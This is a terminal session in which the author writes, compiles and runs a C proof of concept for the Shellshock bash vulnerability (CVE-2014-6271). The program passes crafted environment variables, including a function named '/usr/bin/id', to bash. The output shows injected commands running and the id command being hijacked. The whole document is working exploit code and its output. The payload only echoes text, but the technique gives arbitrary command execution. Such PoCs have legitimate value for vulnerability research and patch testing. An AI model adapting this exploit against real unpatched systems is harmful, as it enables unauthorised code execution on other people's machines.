bash-is-fun

je@tiny:~$ cat > bash-is-fun.c
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>

int main()
{
    char *envp[] = {
        "PATH=/bin:/usr/bin",
        "/usr/bin/id=() { "
        "echo pwn me twice, shame on me; }; "
        "echo pwn me once, shame on you",
        NULL
    };
    char *argv[] = { "/bin/bash", NULL };

    execve(argv[0], argv, envp);
    perror("execve");
    return 1;
}
^D
je@tiny:~$ gcc -o bash-is-fun bash-is-fun.c
je@tiny:~$ ./bash-is-fun
pwn me once, shame on you
je@tiny:/home/je$ /usr/bin/id
pwn me twice, shame on me